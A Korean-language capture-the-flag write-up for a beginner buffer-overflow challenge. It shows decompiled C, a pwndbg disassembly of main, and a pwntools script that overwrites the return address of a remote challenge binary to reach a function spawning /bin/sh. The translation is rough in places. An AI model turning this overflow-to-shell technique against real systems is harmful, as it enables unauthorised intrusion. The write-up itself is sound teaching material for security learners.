질문
코드
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s(48); // (rsp+0h) (rbp-30h) BYREF
init(argc, argv, envp);
memset(s, 0, 0x28uLL);
puts("Do you know pwnable?");
read(0, s, 0x40uLL);
return 0;
}
IDA에서 코드를 열면 이런 모습입니다.
s의 크기는 48(0x30)이고 읽기를 위한 입력으로 0x40을 받는다.
버퍼 오버플로가 발생했습니다.
카나리아가 없으면 NX 보호 기술이 활성화됩니다.
분석하다
int win()
{
return system("/bin/sh");
}
이 문제에 대한 win 함수가 있습니다.
반환 주소 필드를 함수 호출로 바꾸면 플래그를 얻을 수 있다고 생각합니다.
앞서 언급한 바와 같이 버퍼 오버플로우는 0x30의 공간에서 0x40의 입력을 받을 수 있기 때문에 발생합니다.
pwndbg> disassemble main
Dump of assembler code for function main:
0x000000000040073b <+0>: push rbp
0x000000000040073c <+1>: mov rbp,rsp
0x000000000040073f <+4>: sub rsp,0x30
0x0000000000400743 <+8>: mov eax,0x0
0x0000000000400748 <+13>: call 0x4006da <init>
0x000000000040074d <+18>: lea rax,(rbp-0x30)
0x0000000000400751 <+22>: mov edx,0x28
0x0000000000400756 <+27>: mov esi,0x0
0x000000000040075b <+32>: mov rdi,rax
0x000000000040075e <+35>: call 0x4005b0 <memset@plt>
0x0000000000400763 <+40>: lea rdi,(rip+0xc2) # 0x40082c
0x000000000040076a <+47>: call 0x400590 <puts@plt>
0x000000000040076f <+52>: lea rax,(rbp-0x30)
0x0000000000400773 <+56>: mov edx,0x40
0x0000000000400778 <+61>: mov rsi,rax
0x000000000040077b <+64>: mov edi,0x0
0x0000000000400780 <+69>: mov eax,0x0
0x0000000000400785 <+74>: call 0x4005c0 <read@plt>
0x000000000040078a <+79>: mov eax,0x0
0x000000000040078f <+84>: leave
0x0000000000400790 <+85>: ret
End of assembler dump.
위의 IDA에서 보듯이 win 함수의 주소는 0x4006C7이고 s의 크기는 0x30이므로 A를 사용하여 0x38을 덮어쓴 다음 win 함수의 주소인 0x4006C7을 패키징하여 삽입합니다.
기본적으로 뒤에 8바이트 공간이 있으며 이 공간도 덮어써야 하므로 액세스하려면 0x30에 8을 더한 값을 사용해야 합니다.
from pwn import *
p = remote("pwn.h4ckingga.me", 10001)
e = ELF("./welcome")
payload = b"A" * 0x38 + p64(0x00000000004006C7)
p.sendline(payload)
p.interactive()
전체 코드는 위에 있습니다.
시스템 해커를 위한 입문용 질문으로 권장됩니다.